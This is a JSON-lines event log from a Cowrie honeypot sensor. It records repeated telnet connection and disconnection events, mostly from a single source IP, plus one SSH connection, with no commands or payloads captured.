{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55796,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9a520c966b3","protocol":"telnet","message":"New connection: 51.161.172.108:55796 (159.203.135.109:23) [session: f9a520c966b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:46.793825Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55808,"dst_ip":"159.203.135.109","dst_port":23,"session":"28cc63f3bd6d","protocol":"telnet","message":"New connection: 51.161.172.108:55808 (159.203.135.109:23) [session: 28cc63f3bd6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:46.798030Z"}
{"eventid":"cowrie.session.closed","duration":31.47978138923645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:46.868279Z","src_ip":"51.161.172.108","session":"e01359dfda46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.466805934906006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:47.102496Z","src_ip":"51.161.172.108","session":"3032ffb34167","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55816,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8844a4c39b8","protocol":"telnet","message":"New connection: 51.161.172.108:55816 (159.203.135.109:23) [session: a8844a4c39b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:47.108044Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55820,"dst_ip":"159.203.135.109","dst_port":23,"session":"111632c69fd6","protocol":"telnet","message":"New connection: 51.161.172.108:55820 (159.203.135.109:23) [session: 111632c69fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:47.146978Z"}
{"eventid":"cowrie.session.closed","duration":31.279404401779175,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:47.184597Z","src_ip":"51.161.172.108","session":"b767c9cb330f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.69772171974182,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:47.645123Z","src_ip":"51.161.172.108","session":"c20bd494bec7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55828,"dst_ip":"159.203.135.109","dst_port":23,"session":"cef68d320b1d","protocol":"telnet","message":"New connection: 51.161.172.108:55828 (159.203.135.109:23) [session: cef68d320b1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:47.715901Z"}
{"eventid":"cowrie.session.closed","duration":31.672878742218018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:47.729767Z","src_ip":"51.161.172.108","session":"1c8e908b9164","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55838,"dst_ip":"159.203.135.109","dst_port":23,"session":"68a12de9f66a","protocol":"telnet","message":"New connection: 51.161.172.108:55838 (159.203.135.109:23) [session: 68a12de9f66a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:47.735024Z"}
{"eventid":"cowrie.session.closed","duration":31.04158616065979,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:47.813587Z","src_ip":"51.161.172.108","session":"f579f04ecd12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.01761746406555,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:47.943202Z","src_ip":"51.161.172.108","session":"83602bd9d730","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.278258323669434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:48.144818Z","src_ip":"51.161.172.108","session":"13e9ee00de79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.931214332580566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:48.152558Z","src_ip":"51.161.172.108","session":"590d5578c60e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55842,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eb51e9e208d","protocol":"telnet","message":"New connection: 51.161.172.108:55842 (159.203.135.109:23) [session: 1eb51e9e208d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:48.248662Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55858,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f53269b6900","protocol":"telnet","message":"New connection: 51.161.172.108:55858 (159.203.135.109:23) [session: 9f53269b6900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:48.357846Z"}
{"eventid":"cowrie.session.closed","duration":30.78864812850952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:48.608978Z","src_ip":"51.161.172.108","session":"97c8481e39c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.57494592666626,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:48.857666Z","src_ip":"51.161.172.108","session":"1d8e0327a087","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55872,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd848a2eedce","protocol":"telnet","message":"New connection: 51.161.172.108:55872 (159.203.135.109:23) [session: dd848a2eedce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:48.898076Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55880,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3d33dbddadf","protocol":"telnet","message":"New connection: 51.161.172.108:55880 (159.203.135.109:23) [session: e3d33dbddadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:48.937768Z"}
{"eventid":"cowrie.session.closed","duration":30.459205865859985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:49.174104Z","src_ip":"51.161.172.108","session":"486190538d5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50329899787903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:49.417071Z","src_ip":"51.161.172.108","session":"547ea8d7eb0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41701579093933,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:49.726304Z","src_ip":"51.161.172.108","session":"57667543f5da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93817162513733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:49.754121Z","src_ip":"51.161.172.108","session":"3dc3d2645c2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60878,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b2cc58b669b","protocol":"telnet","message":"New connection: 51.161.172.108:60878 (159.203.135.109:23) [session: 2b2cc58b669b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:49.895603Z"}
{"eventid":"cowrie.session.closed","duration":31.74057698249817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:50.037853Z","src_ip":"51.161.172.108","session":"c848a47f14a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.459355354309082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:50.150776Z","src_ip":"51.161.172.108","session":"47f257db32d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60882,"dst_ip":"159.203.135.109","dst_port":23,"session":"0588b988212c","protocol":"telnet","message":"New connection: 51.161.172.108:60882 (159.203.135.109:23) [session: 0588b988212c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:50.176746Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60884,"dst_ip":"159.203.135.109","dst_port":23,"session":"84109d515763","protocol":"telnet","message":"New connection: 51.161.172.108:60884 (159.203.135.109:23) [session: 84109d515763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:50.454092Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60890,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa95cd8d2801","protocol":"telnet","message":"New connection: 51.161.172.108:60890 (159.203.135.109:23) [session: fa95cd8d2801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:50.577684Z"}
{"eventid":"cowrie.session.closed","duration":31.156232357025146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:50.770422Z","src_ip":"51.161.172.108","session":"8b3df145fb41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.541111946105957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:50.861357Z","src_ip":"51.161.172.108","session":"bba528ec1ffd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60898,"dst_ip":"159.203.135.109","dst_port":23,"session":"621a08ca4050","protocol":"telnet","message":"New connection: 51.161.172.108:60898 (159.203.135.109:23) [session: 621a08ca4050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:51.059752Z"}
{"eventid":"cowrie.session.closed","duration":34.545509815216064,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:51.071685Z","src_ip":"167.99.38.72","session":"7ed9a85df25a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60912,"dst_ip":"159.203.135.109","dst_port":23,"session":"962efe66d3ca","protocol":"telnet","message":"New connection: 51.161.172.108:60912 (159.203.135.109:23) [session: 962efe66d3ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:51.563764Z"}
{"eventid":"cowrie.session.closed","duration":31.680780172348022,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:51.726231Z","src_ip":"51.161.172.108","session":"25616ed91033","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60922,"dst_ip":"159.203.135.109","dst_port":23,"session":"0978a73109be","protocol":"telnet","message":"New connection: 51.161.172.108:60922 (159.203.135.109:23) [session: 0978a73109be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:51.773222Z"}
{"eventid":"cowrie.session.closed","duration":31.502592086791992,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:51.840989Z","src_ip":"51.161.172.108","session":"9049f66c80ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.939529418945312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:51.928694Z","src_ip":"51.161.172.108","session":"0092ff633e27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60930,"dst_ip":"159.203.135.109","dst_port":23,"session":"50db9c442489","protocol":"telnet","message":"New connection: 51.161.172.108:60930 (159.203.135.109:23) [session: 50db9c442489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:52.051281Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60942,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb82e5122274","protocol":"telnet","message":"New connection: 51.161.172.108:60942 (159.203.135.109:23) [session: eb82e5122274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:52.105793Z"}
{"eventid":"cowrie.session.closed","duration":31.241421699523926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:52.184690Z","src_ip":"51.161.172.108","session":"cbde09b9d46e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.800530195236206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:52.260436Z","src_ip":"51.161.172.108","session":"18c357c4fe13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43606686592102,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:52.291343Z","src_ip":"51.161.172.108","session":"be1ade413f73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74542260169983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:52.322723Z","src_ip":"51.161.172.108","session":"b4c4d16f5d18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60952,"dst_ip":"159.203.135.109","dst_port":23,"session":"031e2d20f703","protocol":"telnet","message":"New connection: 51.161.172.108:60952 (159.203.135.109:23) [session: 031e2d20f703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:52.564656Z"}
{"eventid":"cowrie.session.closed","duration":31.96248173713684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:52.927708Z","src_ip":"51.161.172.108","session":"eacf5d38b40f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1843478679657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:53.150748Z","src_ip":"51.161.172.108","session":"43494a97ea89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60966,"dst_ip":"159.203.135.109","dst_port":23,"session":"d62b20561b29","protocol":"telnet","message":"New connection: 51.161.172.108:60966 (159.203.135.109:23) [session: d62b20561b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:53.475115Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60982,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ceb864a874b","protocol":"telnet","message":"New connection: 51.161.172.108:60982 (159.203.135.109:23) [session: 4ceb864a874b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:53.538062Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60996,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0fd191a9041","protocol":"telnet","message":"New connection: 51.161.172.108:60996 (159.203.135.109:23) [session: b0fd191a9041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:53.826892Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32776,"dst_ip":"159.203.135.109","dst_port":23,"session":"83bf0bdc4add","protocol":"telnet","message":"New connection: 51.161.172.108:32776 (159.203.135.109:23) [session: 83bf0bdc4add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:53.933715Z"}
{"eventid":"cowrie.session.closed","duration":31.728554725646973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:53.956865Z","src_ip":"51.161.172.108","session":"6afedabd3a7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.184000253677368,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:54.170998Z","src_ip":"51.161.172.108","session":"b27dcaf4ac98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32782,"dst_ip":"159.203.135.109","dst_port":23,"session":"f187ee6a51da","protocol":"telnet","message":"New connection: 51.161.172.108:32782 (159.203.135.109:23) [session: f187ee6a51da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:54.202896Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32788,"dst_ip":"159.203.135.109","dst_port":23,"session":"9af13e227b3a","protocol":"telnet","message":"New connection: 51.161.172.108:32788 (159.203.135.109:23) [session: 9af13e227b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:54.240001Z"}
{"eventid":"cowrie.session.closed","duration":31.44584894180298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:54.663052Z","src_ip":"51.161.172.108","session":"089778b06bb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32794,"dst_ip":"159.203.135.109","dst_port":23,"session":"40f227ac375f","protocol":"telnet","message":"New connection: 51.161.172.108:32794 (159.203.135.109:23) [session: 40f227ac375f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:54.870757Z"}
{"eventid":"cowrie.session.closed","duration":31.534923315048218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:54.917501Z","src_ip":"51.161.172.108","session":"cf68121871ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32810,"dst_ip":"159.203.135.109","dst_port":23,"session":"5160696c3746","protocol":"telnet","message":"New connection: 51.161.172.108:32810 (159.203.135.109:23) [session: 5160696c3746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:54.921757Z"}
{"eventid":"cowrie.session.closed","duration":31.21452283859253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:54.944665Z","src_ip":"51.161.172.108","session":"bebc18efc33d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1298770904541,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:54.961222Z","src_ip":"51.161.172.108","session":"5ac0bf96fdf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68826174736023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:55.387891Z","src_ip":"51.161.172.108","session":"80bb02360f9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32820,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd470a43be0c","protocol":"telnet","message":"New connection: 51.161.172.108:32820 (159.203.135.109:23) [session: dd470a43be0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:55.422482Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32832,"dst_ip":"159.203.135.109","dst_port":23,"session":"251cae380d6b","protocol":"telnet","message":"New connection: 51.161.172.108:32832 (159.203.135.109:23) [session: 251cae380d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:55.468328Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32844,"dst_ip":"159.203.135.109","dst_port":23,"session":"3279a814d70d","protocol":"telnet","message":"New connection: 51.161.172.108:32844 (159.203.135.109:23) [session: 3279a814d70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:55.731057Z"}
{"eventid":"cowrie.session.closed","duration":31.279088973999023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:55.750707Z","src_ip":"51.161.172.108","session":"6cf5c291e010","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32850,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce6248b16f03","protocol":"telnet","message":"New connection: 51.161.172.108:32850 (159.203.135.109:23) [session: ce6248b16f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:55.758729Z"}
{"eventid":"cowrie.session.closed","duration":31.603778839111328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:55.773690Z","src_ip":"51.161.172.108","session":"3b9ccd185995","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53490447998047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:55.803477Z","src_ip":"51.161.172.108","session":"5996eb320225","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":59332,"dst_ip":"159.203.135.109","dst_port":22,"session":"44bdea01a250","protocol":"ssh","message":"New connection: 122.168.114.167:59332 (159.203.135.109:22) [session: 44bdea01a250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:55.960965Z"}
{"eventid":"cowrie.session.closed","duration":31.1925208568573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:55.995330Z","src_ip":"51.161.172.108","session":"843ded351a6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.126004219055176,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:56.165221Z","src_ip":"51.161.172.108","session":"5e33aa096204","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.359611988067627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:56.242637Z","src_ip":"51.161.172.108","session":"0147b0c4bac9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.013975143432617,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:56.252022Z","src_ip":"51.161.172.108","session":"dfb263d060e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.785330772399902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:56.333097Z","src_ip":"51.161.172.108","session":"0556cf132626","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32860,"dst_ip":"159.203.135.109","dst_port":23,"session":"0de75e21b891","protocol":"telnet","message":"New connection: 51.161.172.108:32860 (159.203.135.109:23) [session: 0de75e21b891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:56.647136Z"}
{"eventid":"cowrie.session.closed","duration":30.929192066192627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:56.653210Z","src_ip":"51.161.172.108","session":"814f63317266","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32866,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0bb05ff3fe2","protocol":"telnet","message":"New connection: 51.161.172.108:32866 (159.203.135.109:23) [session: f0bb05ff3fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:56.658338Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32874,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e804837f4e4","protocol":"telnet","message":"New connection: 51.161.172.108:32874 (159.203.135.109:23) [session: 3e804837f4e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:56.925906Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":51612,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffe9ca30f119","protocol":"telnet","message":"New connection: 167.99.38.72:51612 (159.203.135.109:23) [session: ffe9ca30f119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:57.005903Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32884,"dst_ip":"159.203.135.109","dst_port":23,"session":"25044a9c30a5","protocol":"telnet","message":"New connection: 51.161.172.108:32884 (159.203.135.109:23) [session: 25044a9c30a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:57.037636Z"}
